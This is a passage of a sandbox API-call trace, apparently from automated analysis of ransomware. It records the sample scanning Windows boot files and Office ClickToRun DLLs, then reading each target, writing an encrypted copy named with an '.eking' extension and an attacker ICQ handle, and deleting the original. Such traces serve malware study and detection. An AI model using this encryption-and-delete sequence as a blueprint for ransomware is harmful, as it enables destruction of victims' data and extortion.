dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.036] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=45472) returned 1 [0276.036] CloseHandle (hObject=0x2d8) returned 1 [0276.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui")) returned 0x20 [0276.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui")) returned 0x20 [0276.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.036] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.036] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.037] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=77656) returned 1 [0276.037] CloseHandle (hObject=0x2d8) returned 1 [0276.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0276.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0276.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.037] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.037] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.037] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=45984) returned 1 [0276.037] CloseHandle (hObject=0x2d8) returned 1 [0276.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui")) returned 0x20 [0276.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui")) returned 0x20 [0276.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.038] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.038] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.038] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=76640) returned 1 [0276.038] CloseHandle (hObject=0x2d8) returned 1 [0276.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0276.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0276.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.039] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.039] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.040] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=45472) returned 1 [0276.040] CloseHandle (hObject=0x2d8) returned 1 [0276.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui")) returned 0x20 [0276.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui")) returned 0x20 [0276.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.040] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.040] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.040] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=76640) returned 1 [0276.040] CloseHandle (hObject=0x2d8) returned 1 [0276.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0276.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0276.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.041] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.041] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.041] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=45984) returned 1 [0276.041] CloseHandle (hObject=0x2d8) returned 1 [0276.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui")) returned 0x20 [0276.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui")) returned 0x20 [0276.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.042] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.042] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.042] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=74080) returned 1 [0276.042] CloseHandle (hObject=0x2d8) returned 1 [0276.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui")) returned 0x20 [0276.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui")) returned 0x20 [0276.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.043] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.043] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.043] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=54168) returned 1 [0276.043] CloseHandle (hObject=0x2d8) returned 1 [0276.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui")) returned 0x20 [0276.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui")) returned 0x20 [0276.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.044] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.044] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.044] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=92576) returned 1 [0276.044] CloseHandle (hObject=0x2d8) returned 1 [0276.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll")) returned 0x20 [0276.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll")) returned 0x20 [0276.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\resources\\bootres.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.377] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.378] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=18624) returned 1 [0276.378] CloseHandle (hObject=0x2d8) returned 1 [0276.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 0x20 [0276.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 0x20 [0276.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.379] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0276.379] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0276.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x300 [0276.382] ReadFile (in: hFile=0x2d8, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0x48c0, lpOverlapped=0x0) returned 1 [0276.401] WriteFile (in: hFile=0x300, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x48d0, lpOverlapped=0x0) returned 1 [0276.404] WriteFile (in: hFile=0x300, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x112, lpOverlapped=0x0) returned 1 [0276.404] CloseHandle (hObject=0x2d8) returned 1 [0276.404] CloseHandle (hObject=0x300) returned 1 [0276.404] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 1 [0276.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0276.408] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=18624) returned 1 [0276.408] CloseHandle (hObject=0x300) returned 1 [0276.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 0x20 [0276.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 0x20 [0276.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0276.409] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0276.409] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0276.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2d8 [0276.410] ReadFile (in: hFile=0x300, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0x48c0, lpOverlapped=0x0) returned 1 [0276.413] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x48d0, lpOverlapped=0x0) returned 1 [0276.607] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x112, lpOverlapped=0x0) returned 1 [0276.607] CloseHandle (hObject=0x300) returned 1 [0276.607] CloseHandle (hObject=0x2d8) returned 1 [0276.608] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 1 [0276.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0276.618] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=19136) returned 1 [0276.618] CloseHandle (hObject=0x2f4) returned 1 [0276.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x20 [0276.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x20 [0276.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0276.619] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0276.620] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0276.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2f0 [0276.620] ReadFile (in: hFile=0x2f4, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0x4ac0, lpOverlapped=0x0) returned 1 [0276.631] WriteFile (in: hFile=0x2f0, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x4ad0, lpOverlapped=0x0) returned 1 [0276.633] WriteFile (in: hFile=0x2f0, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x132, lpOverlapped=0x0) returned 1 [0276.633] CloseHandle (hObject=0x2f4) returned 1 [0276.633] CloseHandle (hObject=0x2f0) returned 1 [0276.633] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 1 [0276.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0276.636] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=18624) returned 1 [0276.636] CloseHandle (hObject=0x2f0) returned 1 [0276.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x20 [0276.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x20 [0276.641] GetFileAttributesW 